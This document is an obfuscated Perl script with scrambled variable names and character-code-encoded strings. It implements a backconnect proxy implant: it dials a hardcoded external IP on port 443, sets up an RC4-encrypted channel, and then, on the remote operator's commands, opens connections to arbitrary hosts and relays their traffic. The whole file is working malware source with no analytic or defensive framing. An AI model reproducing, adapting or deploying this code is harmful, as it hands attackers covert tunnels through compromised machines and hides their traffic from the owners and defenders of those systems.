#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;

my $dmkjBoxYD = join('',map{chr($_-7)}(59,60,53,56,59,61,53,56,58,55,53,57,56));
my $kaxHQgvHnGgTBT = 443;

my $xglYWTGDXJBk = "\x00" x 50;

for (my $UzSWZTQWi = 0; $UzSWZTQWi < 50; $UzSWZTQWi++) { substr($xglYWTGDXJBk, $UzSWZTQWi, 1) = pack(join('',map{chr($_-7)}(74)), rand(255)); }

sub Rc4_crypt {
	 
	 my $mGLzjMDHPr = shift(@_);
	 
	 my $usICLbRz = shift(@_);
	 
	 my $sUExnHKWyc = shift(@_);
	 
	 my $XBeNdrvMdbZ = shift(@_);
	 
	 my $aYBXsLtSlmPr = shift(@_);
	 
	 my $xjhZzpOHugw = "\x00" x 256;
	 
	 my $uBjFnegSzwfiFeM = 0;
	
	 my $kRDLDdlSjfzR = 0;
	
	 my $RrIKJkkUwW = 0;
	
	 my $zCoFlJWXgLKM = 0;
	
	 my $RkrAKtwA = 0;
	
	 my $ftDeaWqbZHXOL = 0;
	
	 my $JNVukkXK = 0;
	
	 my $qLTHokDLZAcjCB = 0;
	
	 my $EYcWYWkLcbbUlUs = 0;
	 
	 my $VZdZirnXyYKtd = $aYBXsLtSlmPr;
0;
	 
	 my $kZBTkaxTDnSs = 0;
	 
	 my $MONOPRhdVDg = 0;
0;
	 
	 my $qPYnPjmnRgtTTJ = 0;
	 
	 my $ksXkcUIKjZft = 0;
	 
	 for (my $UzSWZTQWi = 0; $UzSWZTQWi <= 255; $UzSWZTQWi++) { substr($xjhZzpOHugw, $UzSWZTQWi, 1) = pack(join('',map{chr($_-7)}(74)), $UzSWZTQWi); }
	 
	 do {
		 
		 substr($$sUExnHKWyc, $XBeNdrvMdbZ + $kZBTkaxTDnSs, 1) = pack(join('',map{chr($_-7)}(74)), (unpack(join('',map{chr($_-7)}(74)), substr($$sUExnHKWyc, $XBeNdrvMdbZ + $kZBTkaxTDnSs, 1)) ^ unpack(join('',map{chr($_-7)}(74)), substr($$mGLzjMDHPr, $MONOPRhdVDg, 1))));
		 
		 $kZBTkaxTDnSs++;
		
		 $MONOPRhdVDg++;
0;
		
		 $VZdZirnXyYKtd--;
		
		 if ($MONOPRhdVDg == $usICLbRz) {
			 
			 $MONOPRhdVDg = 0;
		}
		 
	} while($VZdZirnXyYKtd > 0);
	
	
	 while(1) {
		 
		 if ($qPYnPjmnRgtTTJ == 0) {
			 
			 $RrIKJkkUwW = 0;

			 $zCoFlJWXgLKM = $usICLbRz;
		}
		 
		 if ($qPYnPjmnRgtTTJ != 0) {
			 
			 $qPYnPjmnRgtTTJ = 0;

			 $RrIKJkkUwW++;

			 if (--$zCoFlJWXgLKM == 0) { next; }
			 
		}
		
		 $qLTHokDLZAcjCB = unpack(join('',map{chr($_-7)}(74)), substr($xjhZzpOHugw, $uBjFnegSzwfiFeM, 1));
		 
		 $ksXkcUIKjZft = unpack(join('',map{chr($_-7)}(74)), substr($$mGLzjMDHPr, $RrIKJkkUwW, 1));

		 $kRDLDdlSjfzR += $ksXkcUIKjZft;

		 $kRDLDdlSjfzR = $kRDLDdlSjfzR & 255;

		 $kRDLDdlSjfzR += $qLTHokDLZAcjCB;

		 $kRDLDdlSjfzR = $kRDLDdlSjfzR & 255;

		 $JNVukkXK = unpack(join('',map{chr($_-7)}(74)), substr($xjhZzpOHugw, $kRDLDdlSjfzR, 1));
		 
		 substr($xjhZzpOHugw, $uBjFnegSzwfiFeM, 1) = pack(join('',map{chr($_-7)}(74)), $JNVukkXK);
		 
		 substr($xjhZzpOHugw, $kRDLDdlSjfzR, 1) = pack(join('',map{chr($_-7)}(74)), $qLTHokDLZAcjCB);
		 
		 $uBjFnegSzwfiFeM++;

		 $uBjFnegSzwfiFeM = $uBjFnegSzwfiFeM & 255;
		 
		 if ($uBjFnegSzwfiFeM != 0) {
			 
			 $qPYnPjmnRgtTTJ = 1;
			 
			 next;
		}
		
		 $RkrAKtwA = $aYBXsLtSlmPr;

		 $kRDLDdlSjfzR = 0;

		 $uBjFnegSzwfiFeM = 0;

		 $RrIKJkkUwW = 0;

		 $zCoFlJWXgLKM = 0;
		 
		 while(1) {
			 
			 $RrIKJkkUwW++;

			 $RrIKJkkUwW = $RrIKJkkUwW & 255;

			 $qLTHokDLZAcjCB = unpack(join('',map{chr($_-7)}(74)), substr($xjhZzpOHugw, $RrIKJkkUwW, 1));
			 
			 $kRDLDdlSjfzR += $qLTHokDLZAcjCB;

			 $kRDLDdlSjfzR = $kRDLDdlSjfzR & 255;

			 $EYcWYWkLcbbUlUs = unpack(join('',map{chr($_-7)}(74)), substr($xjhZzpOHugw, $kRDLDdlSjfzR, 1));

			 substr($xjhZzpOHugw, $RrIKJkkUwW, 1) = pack(join('',map{chr($_-7)}(74)), $EYcWYWkLcbbUlUs);
		 
			 substr($xjhZzpOHugw, $kRDLDdlSjfzR, 1) = pack(join('',map{chr($_-7)}(74)), $qLTHokDLZAcjCB);

			 $EYcWYWkLcbbUlUs += $qLTHokDLZAcjCB;
	
			 $EYcWYWkLcbbUlUs = $EYcWYWkLcbbUlUs & 255;
0;

			 $uBjFnegSzwfiFeM = unpack(join('',map{chr($_-7)}(74)), substr($xjhZzpOHugw, $EYcWYWkLcbbUlUs, 1));
			 
			 $ftDeaWqbZHXOL = unpack(join('',map{chr($_-7)}(74)), substr($$sUExnHKWyc, $XBeNdrvMdbZ + $zCoFlJWXgLKM, 1));

			 $ftDeaWqbZHXOL = $ftDeaWqbZHXOL ^ $uBjFnegSzwfiFeM;
			 
			 substr($$sUExnHKWyc, $XBeNdrvMdbZ + $zCoFlJWXgLKM, 1) = pack(join('',map{chr($_-7)}(74)), $ftDeaWqbZHXOL);
			 
			 $zCoFlJWXgLKM++;
			 
			 if (--$RkrAKtwA == 0)
			 {
				 last;
			 }
			 
		}
		 
		 last;
	}
	
	 $kZBTkaxTDnSs = 0;
	
	 $VZdZirnXyYKtd = $aYBXsLtSlmPr;
	
	 $MONOPRhdVDg = 0;
	
	 do {
		 
		 substr($$sUExnHKWyc, $XBeNdrvMdbZ + $kZBTkaxTDnSs, 1) = pack(join('',map{chr($_-7)}(74)), (unpack(join('',map{chr($_-7)}(74)), substr($$sUExnHKWyc, $XBeNdrvMdbZ + $kZBTkaxTDnSs, 1)) ^ unpack(join('',map{chr($_-7)}(74)), substr($$mGLzjMDHPr, $MONOPRhdVDg, 1))));
		 
		 $kZBTkaxTDnSs++;
		
		 $MONOPRhdVDg++;
		
		 $VZdZirnXyYKtd--;
0;
		
		 if ($MONOPRhdVDg == $usICLbRz) {
			 
			 $MONOPRhdVDg = 0;
		}
		 
	} while($VZdZirnXyYKtd > 0);
	
}

sub synsend {
		
	 my $XNotsFoduxTTS = shift(@_);
	 
	 my $dwHkwgIEM = shift(@_);
	 
	 my $qxdbSdjLSoBlgJY	= shift(@_);

	 open(my $kguAYuBojztHY, "<", '/dev/null');

	 flock($kguAYuBojztHY, LOCK_EX);
	 
	 # ===============================================
	 
	 send($XNotsFoduxTTS, $dwHkwgIEM, $qxdbSdjLSoBlgJY);
	 
	 # ===============================================
	 
	 flock($kguAYuBojztHY, LOCK_UN);
0;

	 close($kguAYuBojztHY);
}

sub newConnection {
	
	my $yMRfpDbrVxUPSD = shift(@_);
0;
	
	my $xJPyPXIFE = shift(@_);
0;
	
	my $tpxKwsFrjQJkn = shift(@_);
	
	my $XNotsFoduxTTS = shift(@_);
	
	my $sUExnHKWyc = shift(@_);
	
    threads->create( sub {
		
		my $OqhnmbXUFPOJg = pack(join('',map{chr($_-7)}(74)), $yMRfpDbrVxUPSD)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
		
		my $BcCBTriekiqofJ = '';
		
		my $kaxHQgvHnGgTBT = 0;
		
		my $_ret = 0;
		
		my $jbqILqFYIWRges = '';
		
		my $dwHkwgIEM = '';
		
		setsockopt($XNotsFoduxTTS, IPPROTO_TCP, TCP_NODELAY, 1);
		
		fcntl($XNotsFoduxTTS, F_SETFL, O_NONBLOCK);
		
		if (unpack(join('',map{chr($_-7)}(74)), substr($sUExnHKWyc, 7, 1)) == 3) {
			
			$BcCBTriekiqofJ = substr($sUExnHKWyc, 9, unpack(join('',map{chr($_-7)}(74)), substr($sUExnHKWyc, 8, 1)));
			
			$kaxHQgvHnGgTBT = unpack(join('',map{chr($_-7)}(90)), substr($sUExnHKWyc, 9 + unpack(join('',map{chr($_-7)}(74)), substr($sUExnHKWyc, 8, 1)) + 1, 1).substr($sUExnHKWyc, 9 + unpack(join('',map{chr($_-7)}(74)), substr($sUExnHKWyc, 8, 1)) + 0, 1));
			
		}
		
		elsif (unpack(join('',map{chr($_-7)}(74)), substr($sUExnHKWyc, 7, 1)) == 1) {
			
			$BcCBTriekiqofJ = sprintf("%d.%d.%d.%d", unpack(join('',map{chr($_-7)}(74)), substr($sUExnHKWyc, 8 + 0, 1)), unpack(join('',map{chr($_-7)}(74)), substr($sUExnHKWyc, 8 + 1, 1)), unpack(join('',map{chr($_-7)}(74)), substr($sUExnHKWyc, 8 + 2, 1)), unpack(join('',map{chr($_-7)}(74)), substr($sUExnHKWyc, 8 + 3, 1)));
			
			$kaxHQgvHnGgTBT = unpack(join('',map{chr($_-7)}(90)), substr($sUExnHKWyc, 12 + 1, 1).substr($sUExnHKWyc, 12 + 0, 1));
			
		}
		
		else {
			
			 goto close_;
		}
		
		 eval {
			 
			 my $FJVwHrWcD = sockaddr_in($kaxHQgvHnGgTBT, inet_aton($BcCBTriekiqofJ));
		
			 connect($XNotsFoduxTTS, $FJVwHrWcD);
		 
			 vec(my $NggwpEyokBQ = '', fileno($XNotsFoduxTTS), 1) = 1;
0;

			 unless (select(undef, $NggwpEyokBQ, undef, 10)) { goto close_; }
		 
			 fcntl($XNotsFoduxTTS, F_SETFL, 0);
		 
			 substr($OqhnmbXUFPOJg, 4, 1) = "\x00";
		 
			 $_ret = 1;
			 
		 };
		 
		 close_:
		 
		 Rc4_crypt(\$xglYWTGDXJBk, 50, \$OqhnmbXUFPOJg, 0, 3);
		 
		 Rc4_crypt(\$xglYWTGDXJBk, 50, \$OqhnmbXUFPOJg, 3, 10);
		 
		 synsend($tpxKwsFrjQJkn, $OqhnmbXUFPOJg, MSG_NOSIGNAL);
0;
		 
		 Rc4_crypt(\$xglYWTGDXJBk, 50, \$OqhnmbXUFPOJg, 0, 3);
		 
		 if ($_ret == 1) {
			 
			 while ($$xJPyPXIFE[$yMRfpDbrVxUPSD] == 1) {
				 
				 vec(my $OsCyVUYJlN = '', fileno($XNotsFoduxTTS), 1) = 1;
				 
				 unless (select($OsCyVUYJlN, undef, undef, 1)) { next; }
				 
				 $jbqILqFYIWRges = '';

				 recv($XNotsFoduxTTS, $jbqILqFYIWRges, 65530, 0);
	 
				 unless ($jbqILqFYIWRges) { last; }
0;
				 
				 $dwHkwgIEM = pack(join('',map{chr($_-7)}(74)), $yMRfpDbrVxUPSD).pack(join('',map{chr($_-7)}(90)), length($jbqILqFYIWRges)).$jbqILqFYIWRges;
0;
				 
				 Rc4_crypt(\$xglYWTGDXJBk, 50, \$dwHkwgIEM, 0, 3);
		 
				 Rc4_crypt(\$xglYWTGDXJBk, 50, \$dwHkwgIEM, 3, length($jbqILqFYIWRges));
				 
				 synsend($tpxKwsFrjQJkn, $dwHkwgIEM, MSG_NOSIGNAL);
				 
			}
		}
		
		 $$xJPyPXIFE[$yMRfpDbrVxUPSD] = 0;
		 
		 close($XNotsFoduxTTS);
		 
		 substr($OqhnmbXUFPOJg, 1, 2) = "\x00\x00";
		 
		 Rc4_crypt(\$xglYWTGDXJBk, 50, \$OqhnmbXUFPOJg, 0, 3);
		 
		 synsend($tpxKwsFrjQJkn, substr($OqhnmbXUFPOJg, 0, 3), MSG_NOSIGNAL);
		
         threads->detach();
    });
}

sub bccnct {

	 my $dmkjBoxYD = shift(@_);
	 
	 my $kaxHQgvHnGgTBT = shift(@_);
	 
	 my $QfKWBhHe = 0;
	 
	 my $ZksbisYJ = 0;
	 
	 my @XqMcWiTjR;
	 
	 my @xJPyPXIFE :shared;
	 
	 my $dwHkwgIEM = "\x00" x 100;
	 
	 my $durRwYRszxJcj = "\x00" x 3;
	 
	 my $fjoHYNHIOY = '';
	 
	 my $esLLfDMbyhh = 0;
0;
	 
	 my $wSalEooPr = 0;
	 
	 my $dXKHJtFm = 0;
	 
	 my $jbqILqFYIWRges = '';
	 
	 my $_ret = 0;
	 
	 my $vptJdgQbdd = 0;
	 
	 my $NnqzDLIaN = 0;
	 
	 socket($XqMcWiTjR[0], PF_INET, SOCK_STREAM, getprotobyname(join('',map{chr($_-7)}(123,106,119))));
	 
	 setsockopt($XqMcWiTjR[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 my $FJVwHrWcD = sockaddr_in($$kaxHQgvHnGgTBT, inet_aton($$dmkjBoxYD));
	 
	 unless(connect($XqMcWiTjR[0], $FJVwHrWcD)) { goto close0; }
	 
	 substr($dwHkwgIEM, 0, 50) = $xglYWTGDXJBk;
	 
	 substr($dwHkwgIEM, 50, 2) = "\xFF\xFF";
	 
	 substr($dwHkwgIEM, 54, 11) = join('',map{chr($_-7)}(87,108,121,115,39,122,106,121,112,119,123,39,105,112,117,104,121));
	 
	 Rc4_crypt(\$xglYWTGDXJBk, 50, \$dwHkwgIEM, 50, 50);
0;
	 
	 send($XqMcWiTjR[0], $dwHkwgIEM, MSG_NOSIGNAL);
0;
	 
	 while(1) {
		 
		 if ($ZksbisYJ != 4) {
			 
			 vec(my $OsCyVUYJlN = '', fileno($XqMcWiTjR[0]), 1) = 1;
			 
			 my $mJRrQwxbRELD = select($OsCyVUYJlN, undef, undef, 60);
			 
			 next if ($mJRrQwxbRELD < 0);
			 
			 if ($mJRrQwxbRELD == 0) {
				 
				 last if (substr($durRwYRszxJcj, 0, 3) ne "\x00\x00\x00");
				 
				 last if ($QfKWBhHe != 0);
				 
				 last if ($ZksbisYJ != 0);
				 
				 Rc4_crypt(\$xglYWTGDXJBk, 50, \$durRwYRszxJcj, 0, 3);
				 
				 synsend($XqMcWiTjR[0], $durRwYRszxJcj, MSG_NOSIGNAL);
				 
				 next;
			}
			 
		}
		 
		 if ($QfKWBhHe != 0 || $ZksbisYJ == 4) {
			 
			 if ($NnqzDLIaN == 0) {
				 
				 if (substr($fjoHYNHIOY, 0, 1) eq "\xFF" && substr($fjoHYNHIOY, 1, 1) eq "\xFE") {
					 
					 $esLLfDMbyhh = 1;
					 
					 last;
					 
				}
				 
				 elsif ($vptJdgQbdd < 200 && $vptJdgQbdd > 0) {
				 
					 $xJPyPXIFE[$vptJdgQbdd] = 0;
				 
				}
			
			}
			
			else {
				
				 $wSalEooPr = $NnqzDLIaN;
				
				 $wSalEooPr = $wSalEooPr - $QfKWBhHe;
				 
				 $jbqILqFYIWRges = '';
				 
				 recv($XqMcWiTjR[0], $jbqILqFYIWRges, $wSalEooPr, 0);
				
				 unless ($jbqILqFYIWRges) { last; }
				 
				 $QfKWBhHe += length($jbqILqFYIWRges);
				 
				 $fjoHYNHIOY .= $jbqILqFYIWRges;
				 
				 if ($NnqzDLIaN == $QfKWBhHe) {
					 
					 Rc4_crypt(\$xglYWTGDXJBk, 50, \$fjoHYNHIOY, 4, $QfKWBhHe);
					 
					 if (unpack(join('',map{chr($_-7)}(74)), substr($fjoHYNHIOY, 0, 1)) == 0) {
						 
						 socket($XqMcWiTjR[$vptJdgQbdd], PF_INET, SOCK_STREAM, getprotobyname(join('',map{chr($_-7)}(123,106,119))));
						 
						 $xJPyPXIFE[$vptJdgQbdd] = 1;
						 
						 newConnection($vptJdgQbdd, \@xJPyPXIFE, $XqMcWiTjR[0], $XqMcWiTjR[$vptJdgQbdd], $fjoHYNHIOY);
						 
					}
					
					 else {
						 
						 send($XqMcWiTjR[$vptJdgQbdd], substr($fjoHYNHIOY, 4, $QfKWBhHe), MSG_NOSIGNAL);
0;
						 
					}
					 
					 $QfKWBhHe = 0;
				}
				
			}
			 
			 $ZksbisYJ = 0;
			 
		}
		
		else {
			
			 if ($ZksbisYJ == 0) { $fjoHYNHIOY = ''; }
			
			 $dXKHJtFm = 4;
			
			 $dXKHJtFm = $dXKHJtFm - $ZksbisYJ;
			 
			 $jbqILqFYIWRges = '';
			 
			 recv($XqMcWiTjR[0], $jbqILqFYIWRges, $dXKHJtFm, 0);
			 
			 unless ($jbqILqFYIWRges) { last; }
0;
			 
			 $ZksbisYJ += length($jbqILqFYIWRges);
0;
			 
			 $fjoHYNHIOY .= $jbqILqFYIWRges;
			 
			 $durRwYRszxJcj = "\x00" x 3;
			 
			 if ($ZksbisYJ == 4) {
				 
				 Rc4_crypt(\$xglYWTGDXJBk, 50, \$fjoHYNHIOY, 0, 4);
				 
				 $vptJdgQbdd = unpack(join('',map{chr($_-7)}(74)), substr($fjoHYNHIOY, 1, 1));
				 
				 $NnqzDLIaN = unpack(join('',map{chr($_-7)}(90)), substr($fjoHYNHIOY, 2, 2));
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($XqMcWiTjR[0]);
	 
	 for (my $UzSWZTQWi = 0; $UzSWZTQWi < 200; $UzSWZTQWi++) { $xJPyPXIFE[$UzSWZTQWi] = 0; }
	 
	 sleep 10;
	 
	 if ($esLLfDMbyhh == 1) { exit; }
	 
	 return $_ret;

}

bccnct(\$dmkjBoxYD, \$kaxHQgvHnGgTBT);
